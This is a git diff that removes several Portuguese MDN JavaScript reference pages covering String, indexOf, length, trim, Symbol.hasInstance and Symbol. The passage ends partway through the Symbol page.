-<p>It's possible to use <code>String</code> as a more reliable {{jsxref("String.prototype.toString()", "toString()")}} alternative, as it works when used on {{jsxref("null")}}, {{jsxref("undefined")}}, and on {{jsxref("Symbol", "symbols")}}. For example:</p>
-
-<pre class="brush: js">var outputStrings = [];
-for (var i = 0, n = inputValues.length; i &lt; n; ++i) {
- outputStrings.push(String(inputValues[i]));
-}
-</pre>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{SpecName('ESDraft', '#sec-string-objects', 'String')}}</td>
- <td>{{Spec2('ESDraft')}}</td>
- <td></td>
- </tr>
- <tr>
- <td>{{SpecName('ES2015', '#sec-string-objects', 'String')}}</td>
- <td>{{Spec2('ES2015')}}</td>
- <td></td>
- </tr>
- <tr>
- <td>{{SpecName('ES5.1', '#sec-15.5', 'String')}}</td>
- <td>{{Spec2('ES5.1')}}</td>
- <td></td>
- </tr>
- <tr>
- <td>{{SpecName('ES1')}}</td>
- <td>{{Spec2('ES1')}}</td>
- <td>Initial definition.</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2>
-
-
-
-<p>{{Compat("javascript.builtins.String",2)}}</p>
-
-<h2 id="Consulte_também">Consulte também:</h2>
-
-<ul>
- <li>{{domxref("DOMString")}}</li>
- <li><a href="/en-US/Add-ons/Code_snippets/StringView"><code>StringView</code> — a C-like representation of strings based on typed arrays</a></li>
- <li><a href="/en-US/docs/Web/API/DOMString/Binary">Binary strings</a></li>
-</ul>
diff --git a/files/pt-pt/web/javascript/reference/global_objects/string/indexof/index.html b/files/pt-pt/web/javascript/reference/global_objects/string/indexof/index.html
deleted file mode 100644
index 721fb3c913..0000000000
--- a/files/pt-pt/web/javascript/reference/global_objects/string/indexof/index.html
+++ /dev/null
@@ -1,191 +0,0 @@
----
-title: String.prototype.indexOf()
-slug: Web/JavaScript/Reference/Global_Objects/String/indexOf
-tags:
- - JavaScript
- - Method
- - Prototype
- - Reference
- - String
-translation_of: Web/JavaScript/Reference/Global_Objects/String/indexOf
----
-<div>{{JSRef}}</div>
-
-<p>O método <strong><code>indexOf()</code></strong> retorna o indíce da primeira ocorrência do valor especificado no objeto {{jsxref("String")}}, começando a procura a partir de <code>fromIndex</code>. Retorna -1 se o valor não for encontrado.</p>
-
-<h2 id="Sintaxe">Sintaxe</h2>
-
-<pre class="syntaxbox"><code><var>str</var>.indexOf(<var>searchValue</var>[, <var>fromIndex</var>]</code>)</pre>
-
-<h3 id="Parâmetros">Parâmetros</h3>
-
-<dl>
- <dt><code>searchValue</code></dt>
- <dd>Uma string com o valor pelo qual se procura.</dd>
- <dt><code>fromIndex</code> {{optional_inline}}</dt>
- <dd>O ponto da string a partir do qual a procura deverá começar. Pode ter o valor de um qualquer inteiro. O valor por predefinição é 0. Se o <code>fromIndex &lt; 0</code> a procura é feita em toda a string (o mesmo que passar o valor 0). Se <code>fromIndex &gt;= str.length</code>, o método retornará -1, exceção feita quando o valor de <code>searchValue</code> é uma string vazia, nesse caso retorna <code>str.length</code>.</dd>
-</dl>
-
-<h2 id="Descrição">Descrição</h2>
-
-<p>Os caractéres numa string são indexadas da esquerda para a direita. O índice do primeira caractér é 0, e o índice do último caractér da string, chamado de <code>stringName,</code> é <code>stringName.length - 1</code>.</p>
-
-<pre class="brush: js">'Blue Whale'.indexOf('Blue'); // retorna 0
-'Blue Whale'.indexOf('Blute'); // retorna -1
-'Blue Whale'.indexOf('Whale', 0); // retorna 5
-'Blue Whale'.indexOf('Whale', 5); // retorna 5
-'Blue Whale'.indexOf('', 9); // retorna 9
-'Blue Whale'.indexOf('', 10); // retorna 10
-'Blue Whale'.indexOf('', 11); // retorna 10
-</pre>
-
-<h3 id="Case-sensitivity">Case-sensitivity</h3>
-
-<p>O método <code>indexOf()</code> é sensível a maiúsculas e minúsculas. Por exemplo, a seguinte expressão retorna -1:</p>
-
-<pre class="brush: js">'Blue Whale'.indexOf('blue'); // retorna -1
-</pre>
-
-<h3 id="Verificando_ocorrências">Verificando ocorrências</h3>
-
-<p>Repara que '0' não é avaliado como <code>true</code> e '-1' não é avaliado como <code>false</code>. Sendo assim, a forma correta de verificar se uma string específica existe dentro de outra string deverá ser:</p>
-
-<pre class="brush: js">'Blue Whale'.indexOf('Blue') !== -1; // true
-'Blue Whale'.indexOf('Bloe') !== -1; // false
-</pre>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<h3 id="Usando_indexOf()_e_lastIndexOf()">Usando <code>indexOf()</code> e <code>lastIndexOf()</code></h3>
-
-<p>O seguinte exemplo usa <code>indexOf()</code> e {{jsxref("String.prototype.lastIndexOf()", "lastIndexOf()")}} para localizar valores na string <code>"Brave new world"</code>.</p>
-
-<pre class="brush: js">var anyString = 'Brave new world';
-
-console.log('O índice do primeiro w desde o início é ' + anyString.indexOf('w'));
-// imprime 8
-console.log('O índice do primeiro w desde o fim é ' + anyString.lastIndexOf('w'));
-// imprime 10
-
-console.log('O índice de "new" desde o início é ' + anyString.indexOf('new'));
-// imprime 6
-console.log('O índice de "new" desde o fim é ' + anyString.lastIndexOf('new'));
-// imprime 6
-</pre>
-
-<h3 id="indexOf()_e_sensibilidade_a_maiúsculas_e_minúsculas"><code>indexOf()</code> e sensibilidade a maiúsculas e minúsculas</h3>
-
-<p>O seguinte exemplo define duas variáveis do tipo string. As variáveis contêm a mesma string exceto o facto da segunda string conter as todas as letras maiúsculas. O primeiro método {{domxref("console.log()")}} apresenta 19. Mas porque o método <code>indexOf()</code> é sensível a maiúsculas e minúsculas, a string <code>"cheddar"</code> não é encontrada em <code>myCapString</code>, logo o segundo método <code>console.log()</code> apresenta -1.</p>
-
-<pre class="brush: js">var myString = 'brie, pepper jack, cheddar';
-var myCapString = 'Brie, Pepper Jack, Cheddar';
-
-console.log('myString.indexOf("cheddar") é ' + myString.indexOf('cheddar'));
-// imprime 19
-console.log('myCapString.indexOf("cheddar") é ' + myCapString.indexOf('cheddar'));
-// imprime -1
-</pre>
-
-<h3 id="Usando_indexOf()_para_contar_as_ocorrências_de_uma_letra_numa_string">Usando <code>indexOf()</code> para contar as ocorrências de uma letra numa string</h3>
-
-<p>O seguinte exemplo atribuí à variável <code>count</code> o número de ocorrências da letra 'e' na string <code>str</code>:</p>
-
-<pre class="brush: js">var str = 'To be, or not to be, that is the question.';
-var count = 0;
-var pos = str.indexOf('e');
-
-while (pos !== -1) {
- count++;
- pos = str.indexOf('e', pos + 1);
-}
-
-console.log(count); // imprime 4
-</pre>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- <tr>
- <td>{{SpecName('ES1')}}</td>
- <td>{{Spec2('ES1')}}</td>
- <td>Definição inicial.</td>
- </tr>
- <tr>
- <td>{{SpecName('ES5.1', '#sec-15.5.4.7', 'String.prototype.indexOf')}}</td>
- <td>{{Spec2('ES5.1')}}</td>
- <td> </td>
- </tr>
- <tr>
- <td>{{SpecName('ES6', '#sec-string.prototype.indexof', 'String.prototype.indexOf')}}</td>
- <td>{{Spec2('ES6')}}</td>
- <td> </td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade_dos_browsers">Compatibilidade dos browsers</h2>
-
-<div>{{CompatibilityTable}}</div>
-
-<div id="compat-desktop">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Funcionalidade</th>
- <th>Chrome</th>
- <th>Firefox (Gecko)</th>
- <th>Internet Explorer</th>
- <th>Opera</th>
- <th>Safari</th>
- </tr>
- <tr>
- <td>Suporte básico</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<div id="compat-mobile">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Funcionalidade</th>
- <th>Android</th>
- <th>Chrome para Android</th>
- <th>Firefox Mobile (Gecko)</th>
- <th>IE Mobile</th>
- <th>Opera Mobile</th>
- <th>Safari Mobile</th>
- </tr>
- <tr>
- <td>Suporte básico</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<h2 id="Ver_também">Ver também</h2>
-
-<ul>
- <li>{{jsxref("String.prototype.charAt()")}}</li>
- <li>{{jsxref("String.prototype.lastIndexOf()")}}</li>
- <li>{{jsxref("String.prototype.split()")}}</li>
- <li>{{jsxref("Array.prototype.indexOf()")}}</li>
-</ul>
diff --git a/files/pt-pt/web/javascript/reference/global_objects/string/length/index.html b/files/pt-pt/web/javascript/reference/global_objects/string/length/index.html
deleted file mode 100644
index 7774170252..0000000000
--- a/files/pt-pt/web/javascript/reference/global_objects/string/length/index.html
+++ /dev/null
@@ -1,125 +0,0 @@
----
-title: String.length
-slug: Web/JavaScript/Reference/Global_Objects/String/length
-tags:
- - JavaScript
- - Property
- - Prototype
- - Reference
- - String
-translation_of: Web/JavaScript/Reference/Global_Objects/String/length
----
-<div>{{JSRef}}</div>
-
-<p>A propriedade <strong><code>length</code></strong> representa o comprimento de uma string.</p>
-
-<h2 id="Sintaxe">Sintaxe</h2>
-
-<pre class="syntaxbox"><code><var>str</var>.length</code></pre>
-
-<h2 id="Descrição">Descrição</h2>
-
-<p>Esta propriedade retorna o número de code units na string. {{interwiki("wikipedia", "UTF-16")}}, o formato usado pelo JavaScript para a string, usa um single 16-bit code unit para representar os caracteres mais comuns, mas necessita de usar two code units para os caracteres menos comuns, pelo que é possível que o valor retornado por <code>length</code> não seja igual ao número de caracteres numa string.</p>
-
-<p>Para uma string vazia, <code>length</code> is 0.</p>
-
-<p>A propriedade estática (static) <code>String.length</code> retorna o valor 1.</p>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<h3 id="Uso_simples">Uso simples</h3>
-
-<pre class="brush: js">var x = 'Mozilla';
-var empty = '';
-
-console.log('Mozilla tem de tamanho ' + x.length + ' code units');
-/* "Mozilla tem de tamanho 7 code units" */
-
-console.log('Uma string vazia tem tamanho ' + empty.length);
-/* "Uma string vazia tem tamanho 0" */
-</pre>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- <tr>
- <td>{{SpecName('ES1')}}</td>
- <td>{{Spec2('ES1')}}</td>
- <td>Definição inicial. Implementado em JavaScript 1.0.</td>
- </tr>
- <tr>
- <td>{{SpecName('ES5.1', '#sec-15.5.5.1', 'String.prototype.length')}}</td>
- <td>{{Spec2('ES5.1')}}</td>
- <td> </td>
- </tr>
- <tr>
- <td>{{SpecName('ES6', '#sec-properties-of-string-instances-length', 'String.prototype.length')}}</td>
- <td>{{Spec2('ES6')}}</td>
- <td> </td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade_dos_browsers">Compatibilidade dos browsers</h2>
-
-<div>{{CompatibilityTable}}</div>
-
-<div id="compat-desktop">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Funcionalidade</th>
- <th>Chrome</th>
- <th>Firefox (Gecko)</th>
- <th>Internet Explorer</th>
- <th>Opera</th>
- <th>Safari</th>
- </tr>
- <tr>
- <td>Suporte básico</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<div id="compat-mobile">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Funcionalidade</th>
- <th>Android</th>
- <th>Chrome para Android</th>
- <th>Firefox Mobile (Gecko)</th>
- <th>IE Mobile</th>
- <th>Opera Mobile</th>
- <th>Safari Mobile</th>
- </tr>
- <tr>
- <td>Suporte básico</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<h2 id="Ver_também">Ver também</h2>
-
-<ul>
- <li><a href="http://developer.teradata.com/blog/jasonstrimpel/2011/11/javascript-string-length-and-internationalizing-web-applications">JavaScript <code>String.length</code> and Internationalizing Web Applications</a></li>
-</ul>
diff --git a/files/pt-pt/web/javascript/reference/global_objects/string/trim/index.html b/files/pt-pt/web/javascript/reference/global_objects/string/trim/index.html
deleted file mode 100644
index 8ef29112f8..0000000000
--- a/files/pt-pt/web/javascript/reference/global_objects/string/trim/index.html
+++ /dev/null
@@ -1,139 +0,0 @@
----
-title: String.prototype.trim()
-slug: Web/JavaScript/Reference/Global_Objects/String/Trim
-tags:
- - ECMAScript 5
- - JavaScript
- - Prototipo
- - Referencia
- - String
- - metodo
-translation_of: Web/JavaScript/Reference/Global_Objects/String/Trim
----
-<div>{{JSRef}}</div>
-
-<p>O método <strong><code>trim()</code></strong> elimina espaço em branco de ambos os extremos dum <em>string</em>. Espaço em branco neste contexto são todos os caracteres que apenas representam espaço (espaço, tabulação, espaço fixo, etc.) e todos os caracteres que representam limites de linha (LF, CR, etc.).</p>
-
-<h2 id="Sintaxe">Sintaxe</h2>
-
-<pre class="syntaxbox"><code><var>str</var>.trim()</code></pre>
-
-<h3 id="Valor_devolvido">Valor devolvido</h3>
-
-<p>Um novo <em>string</em> que representa o <em>string</em> que chamou despojado do espaço em branco de ambos os extremos.</p>
-
-<h2 id="Descrição">Descrição</h2>
-
-<p>O método <code>trim()</code> devolve o <em>string</em> despojado do espaço em branco de ambos os extremos. <code>trim()</code> não afecta o valor do <em>string</em> em si.</p>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<h3 id="Using_trim()">Using <code>trim()</code></h3>
-
-<p>O exemplo que se segue mostra o <em>string</em> <code>'foo' em minúsculas</code>:</p>
-
-<pre class="brush: js">var orig = ' foo ';
-console.log(orig.trim()); // 'foo'
-
-// Outro exemplo de .trim() eliminando espaço em branco de apenas um lado.
-
-var orig = 'foo ';
-console.log(orig.trim()); // 'foo'
-</pre>
-
-<h2 id="Polyfill">Polyfill</h2>
-
-<p>Ao correr o código que se segue antes de qualquer outro criará <code>trim()</code> se não estiver nativamente disponível.</p>
-
-<pre class="brush: js">if (!String.prototype.trim) {
-  String.prototype.trim = function () {
-  return this.replace(/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g, '');
- };
-}
-</pre>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- <tr>
- <td>{{SpecName('ES5.1', '#sec-15.5.4.20', 'String.prototype.trim')}}</td>
- <td>{{Spec2('ES5.1')}}</td>
- <td>Definição inicial. Implementada em JavaScript 1.8.1.</td>
- </tr>
- <tr>
- <td>{{SpecName('ES6', '#sec-string.prototype.trim', 'String.prototype.trim')}}</td>
- <td>{{Spec2('ES6')}}</td>
- <td> </td>
- </tr>
- <tr>
- <td>{{SpecName('ESDraft', '#sec-string.prototype.trim', 'String.prototype.trim')}}</td>
- <td>{{Spec2('ESDraft')}}</td>
- <td> </td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade_de_navegadores">Compatibilidade de navegadores</h2>
-
-<div>{{CompatibilityTable}}</div>
-
-<div id="compat-desktop">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Característica</th>
- <th>Chrome</th>
- <th>Firefox (Gecko)</th>
- <th>Internet Explorer</th>
- <th>Opera</th>
- <th>Safari</th>
- </tr>
- <tr>
- <td>Suporte básico</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatGeckoDesktop("1.9.1")}}</td>
- <td>{{CompatIE("9")}}</td>
- <td>{{CompatOpera("10.5")}}</td>
- <td>{{CompatSafari("5")}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<div id="compat-mobile">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Característica</th>
- <th>Android</th>
- <th>Chrome for Android</th>
- <th>Firefox Mobile (Gecko)</th>
- <th>IE Mobile</th>
- <th>Opera Mobile</th>
- <th>Safari Mobile</th>
- </tr>
- <tr>
- <td>Suporte básico</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<h2 id="Ver_também">Ver também</h2>
-
-<ul>
- <li>{{jsxref("String.prototype.trimLeft()")}} {{non-standard_inline}}</li>
- <li>{{jsxref("String.prototype.trimRight()")}} {{non-standard_inline}}</li>
-</ul>
diff --git a/files/pt-pt/web/javascript/reference/global_objects/symbol/hasinstance/index.html b/files/pt-pt/web/javascript/reference/global_objects/symbol/hasinstance/index.html
deleted file mode 100644
index 3ba9666678..0000000000
--- a/files/pt-pt/web/javascript/reference/global_objects/symbol/hasinstance/index.html
+++ /dev/null
@@ -1,114 +0,0 @@
----
-title: Symbol.hasInstance
-slug: Web/JavaScript/Reference/Global_Objects/Symbol/hasInstance
-tags:
- - Propriedade
- - Referencia
-translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/hasInstance
----
-<div>{{JSRef}}</div>
-
-<p>O symbol bem-conhecido <strong><code>Symbol.hasInstance</code></strong> é usado para determinar se um objecto construtor reconhece um objecto como de sua instância. O comportamento do operador {{jsxref("Operators/instanceof", "instanceof")}} pode ser customizado por este symbol.</p>
-
-<div>{{js_property_attributes(0,0,0)}}</div>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<p>Tu podes implementar o comportamento customizado do seu <code>instanceof</code> deste jeito; por exemplo:</p>
-
-<pre class="brush: js">class MyArray {
- static [Symbol.hasInstance](instance) {
- return this.prototype.isPrototypeOf(instance) ||
- Array.isArray(instance);
- }
-}
-
-console.log([] instanceof MyArray); // true
-console.log(new MyArray instanceof MyArray); // true
-console.log(new Image instanceof MyArray); // false
-
-class MySubArray extends MyArray {}
-console.log(new MySubArray instanceof MySubArray); // true
-console.log(new MySubArray instanceof MyArray); // true
-console.log(new MyArray instanceof MySubArray); // false</pre>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th scope="col">Specification</th>
- <th scope="col">Status</th>
- <th scope="col">Comment</th>
- </tr>
- <tr>
- <td>{{SpecName('ES6', '#sec-symbol.hasinstance', 'Symbol.hasInstance')}}</td>
- <td>{{Spec2('ES6')}}</td>
- <td>Initial definition.</td>
- </tr>
- <tr>
- <td>{{SpecName('ESDraft', '#sec-symbol.hasinstance', 'Symbol.hasInstance')}}</td>
- <td>{{Spec2('ESDraft')}}</td>
- <td> </td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade_com_os_navegadores">Compatibilidade com os navegadores</h2>
-
-<p>{{CompatibilityTable}}</p>
-
-<div id="compat-desktop">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Feature</th>
- <th>Chrome</th>
- <th>Firefox (Gecko)</th>
- <th>Internet Explorer</th>
- <th>Opera</th>
- <th>Safari</th>
- </tr>
- <tr>
- <td>Basic support</td>
- <td>{{CompatChrome(51)}}</td>
- <td>{{ CompatGeckoDesktop(50) }}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<div id="compat-mobile">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Feature</th>
- <th>Android</th>
- <th>Chrome for Android</th>
- <th>Firefox Mobile (Gecko)</th>
- <th>IE Mobile</th>
- <th>Opera Mobile</th>
- <th>Safari Mobile</th>
- </tr>
- <tr>
- <td>Basic support</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{ CompatGeckoMobile(50) }}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<h2 id="Veja_também">Veja também</h2>
-
-<ul>
- <li>{{jsxref("Operators/instanceof", "instanceof")}}</li>
- <li>{{jsxref("Global_Objects/Object/isPrototypeOf", "isPrototypeOf()")}}</li>
-</ul>
diff --git a/files/pt-pt/web/javascript/reference/global_objects/symbol/index.html b/files/pt-pt/web/javascript/reference/global_objects/symbol/index.html
deleted file mode 100644
index 00148cd9b1..0000000000
--- a/files/pt-pt/web/javascript/reference/global_objects/symbol/index.html
+++ /dev/null
@@ -1,458 +0,0 @@
----
-title: Symbol
-slug: Web/JavaScript/Reference/Global_Objects/Symbol
-tags:
- - ECMAScript6
- - JavaScript
- - NeedsTranslation
- - Symbol
- - TopicStub
-translation_of: Web/JavaScript/Reference/Global_Objects/Symbol
----
-<div>{{JSRef}}</div>
-
-<p>A <strong>symbol</strong> is a unique and immutable data type. It may be used as an identifier for object properties. The <em>Symbol object</em> is an implicit object wrapper for the symbol {{Glossary("Primitive", "primitive data type")}}.</p>
-
-<h2 id="Syntax">Syntax</h2>
-
-<pre class="syntaxbox">Symbol(<em>[description]</em>)</pre>
-
-<h3 id="Parameters">Parameters</h3>
-
-<dl>
- <dt><code>description</code> {{optional_inline}}</dt>
- <dd>Optional, string. A description of the symbol which can be used for debugging but not to access the symbol itself.</dd>
-</dl>
-
-<h2 id="Description">Description</h2>
-
-<p>To create a new primitive symbol, you write <code>Symbol()</code> with an optional string as its description:</p>
-
-<pre class="brush: js">var sym1 = Symbol();
-var sym2 = Symbol("foo");
-var sym3 = Symbol("foo");
-</pre>
-
-<p>The above code creates three new symbols. Note that <code>Symbol("foo")</code> does not coerce the string "foo" into a symbol. It creates a new symbol each time:</p>
-
-<pre class="brush: js">Symbol("foo") === Symbol("foo"); // false</pre>
-
-<p>The following syntax with the {{jsxref("Operators/new", "new")}} operator will throw a {{jsxref("TypeError")}}:</p>
-
-<pre class="brush: js">var sym = new Symbol(); // TypeError</pre>
-
-<p>This prevents authors from creating an explicit <code>Symbol</code> wrapper object instead of a new symbol value and might be surprising as creating explicit wrapper objects around primitive data types is generally possible (for example, <code>new Boolean</code>, <code>new String</code> and <code>new Number</code>).</p>
-
-<p>If you really want to create a <code>Symbol</code> wrapper object, you can use the <code>Object()</code> function:</p>
-
-<pre class="brush: js">var sym = Symbol("foo");
-typeof sym; // "symbol"
-var symObj = Object(sym);
-typeof symObj; // "object"
-</pre>
-
-<h3 id="Shared_symbols_in_the_global_symbol_registry">Shared symbols in the global symbol registry</h3>
-
-<p>The above syntax using the <code>Symbol()</code> function will not create a global symbol that is available in your whole codebase. To create symbols available across files and even across realms (each of which has its own global scope), use the methods {{jsxref("Symbol.for()")}} and {{jsxref("Symbol.keyFor()")}} to set and retrieve symbols from the global symbol registry.</p>
-
-<h3 id="Finding_symbol_properties_on_objects">Finding symbol properties on objects</h3>
-
-<p>The method {{jsxref("Object.getOwnPropertySymbols()")}} returns an array of symbols and lets you find symbol properties on a given object. Note that every object is initialized with no own symbol properties, so that this array will be empty unless you've set symbol properties on the object.</p>
-
-<h2 id="Properties">Properties</h2>
-
-<dl>
- <dt><code>Symbol.length</code></dt>
- <dd>Length property whose value is 0.</dd>
- <dt>{{jsxref("Symbol.prototype")}}</dt>
- <dd>Represents the prototype for the <code>Symbol</code> constructor.</dd>
-</dl>
-
-<h3 id="Well-known_symbols">Well-known symbols</h3>
-
-<p>In addition to your own symbols, JavaScript has some built-in symbols which represent internal language behaviors which were not exposed to developers in ECMAScript 5 and before. These symbols can be accessed using the following properties:</p>
-
-<h4 id="Iteration_symbols">Iteration symbols</h4>
-
-<dl>
- <dt>{{jsxref("Symbol.iterator")}}</dt>
- <dd>A method returning the default iterator for an object. Used by <a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...of"><code>for...of</code></a>.</dd>
-</dl>
-
-<h4 id="Regular_expression_symbols">Regular expression symbols</h4>
-
-<dl>
- <dt>{{jsxref("Symbol.match")}}</dt>
- <dd>A method that matches against a string, also used to determine if an object may be used as a regular expression. Used by {{jsxref("String.prototype.match()")}}.</dd>
- <dt>{{jsxref("Symbol.replace")}}</dt>
- <dd>A method that replaces matched substrings of a string. Used by {{jsxref("String.prototype.replace()")}}.</dd>
- <dt>{{jsxref("Symbol.search")}}</dt>
- <dd>A method that returns the index within a string that matches the regular expression. Used by {{jsxref("String.prototype.search()")}}.</dd>
- <dt>{{jsxref("Symbol.split")}}</dt>
- <dd>A method that splits a string at the indices that match a regular expression. Used by {{jsxref("String.prototype.split()")}}.</dd>
-</dl>
-
-<h4 id="Other_symbols">Other symbols</h4>
-
-<dl>
- <dt>{{jsxref("Symbol.hasInstance")}}</dt>
- <dd>A method determining if a constructor object recognizes an object as its instance. Used by {{jsxref("Operators/instanceof", "instanceof")}}.</dd>
- <dt>{{jsxref("Symbol.isConcatSpreadable")}}</dt>
- <dd>A Boolean value indicating if an object should be flattened to its array elements. Used by {{jsxref("Array.prototype.concat()")}}.</dd>
- <dt>{{jsxref("Symbol.unscopables")}}</dt>
- <dd>An object value of whose own and inherited property names are excluded from the <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/with">with</a></code> environment bindings of the associated object.</dd>
- <dt>{{jsxref("Symbol.species")}}</dt>
- <dd>A constructor function that is used to create derived objects.</dd>
- <dt>{{jsxref("Symbol.toPrimitive")}}</dt>
- <dd>A method converting an object to a primitive value.</dd>
- <dt>{{jsxref("Symbol.toStringTag")}}</dt>
- <dd>A string value used for the default description of an object. Used by {{jsxref("Object.prototype.toString()")}}.</dd>
-</dl>
-
-<h2 id="Methods">Methods</h2>
-
-<dl>
- <dt>{{jsxref("Symbol.for()", "Symbol.for(key)")}}</dt>
- <dd>Searches for existing symbols with the given key and returns it if found. Otherwise a new symbol gets created in the global symbol registry with this key.</dd>
- <dt>{{jsxref("Symbol.keyFor", "Symbol.keyFor(sym)")}}</dt>
- <dd>Retrieves a shared symbol key from the global symbol registry for the given symbol.</dd>
-</dl>
-
-<h2 id="Symbol_prototype"><code>Symbol</code> prototype</h2>
-
-<p>All Symbols inherit from {{jsxref("Symbol.prototype")}}.</p>
-
-<h3 id="Properties_2">Properties</h3>
-
-<p>{{page('en-US/Web/JavaScript/Reference/Global_Objects/Symbol/prototype','Properties')}}</p>
-
-<h3 id="Methods_2">Methods</h3>
-
-<p>{{page('en-US/Web/JavaScript/Reference/Global_Objects/Symbol/prototype','Methods')}}</p>
-
-<h2 id="Examples">Examples</h2>
-
-<h3 id="Using_the_typeof_operator_with_symbols">Using the <code>typeof</code> operator with symbols</h3>
-
-<p>The {{jsxref("Operators/typeof", "typeof")}} operator can help you to identify symbols.</p>
-
-<pre class="brush: js">typeof Symbol() === 'symbol'
-typeof Symbol('foo') === 'symbol'
-typeof Symbol.iterator === 'symbol'
-</pre>
-
-<h3 id="Symbol_type_conversions">Symbol type conversions</h3>
-
-<p>Some things to note when working with type conversion of symbols.</p>
-
-<ul>
- <li>When trying to convert a symbol to a number, a {{jsxref("TypeError")}} will be thrown<br>
- (e.g. <code>+sym</code> or <code>sym | 0</code>).</li>
- <li>When using loose equality, <code>Object(sym) == sym</code> returns <code>true.</code></li>
- <li><code>Symbol("foo") + "bar" </code>throws a {{jsxref("TypeError")}} (can't convert symbol to string). This prevents you from silently creating a new string property name from a symbol, for example.</li>
- <li>The <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String#String_conversion">"safer" <code>String(sym)</code> conversion</a> works like a call to {{jsxref("Symbol.prototype.toString()")}} with symbols, but note that <code>new String(sym)</code> will throw.</li>
-</ul>
-
-<h3 id="Symbols_and_for...in_iteration">Symbols and <code>for...in</code> iteration</h3>
-
-<p>Symbols are not enumerable in <a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...in"><code>for...in</code></a> iterations. In addition, {{jsxref("Object.getOwnPropertyNames()")}} will not return symbol object properties, however, you can use {{jsxref("Object.getOwnPropertySymbols()")}} to get these.</p>
-
-<pre class="brush: js">var obj = {};
-
-obj[Symbol("a")] = "a";
-obj[Symbol.for("b")] = "b";
-obj["c"] = "c";
-obj.d = "d";
-
-for (var i in obj) {
- console.log(i); // logs "c" and "d"
-}</pre>
-
-<h3 id="Symbols_and_JSON.stringify()">Symbols and <code>JSON.stringify()</code></h3>
-
-<p>Symbol-keyed properties will be completely ignored when using <code>JSON.stringify()</code>:</p>
-
-<pre class="brush: js">JSON.stringify({[Symbol("foo")]: "foo"});
-// '{}'</pre>
-
-<p>For more details, see {{jsxref("JSON.stringify()")}}.</p>
-
-<h3 id="Symbol_wrapper_objects_as_property_keys">Symbol wrapper objects as property keys</h3>
-
-<p>When a Symbol wrapper object is used as a property key, this object will be coerced to its wrapped symbol:</p>
-
-<pre class="brush: js">var sym = Symbol("foo");
-var obj = {[sym]: 1};
-obj[sym]; // 1
-obj[Object(sym)]; // still 1
-</pre>
-
-<h2 id="Specifications">Specifications</h2>
-
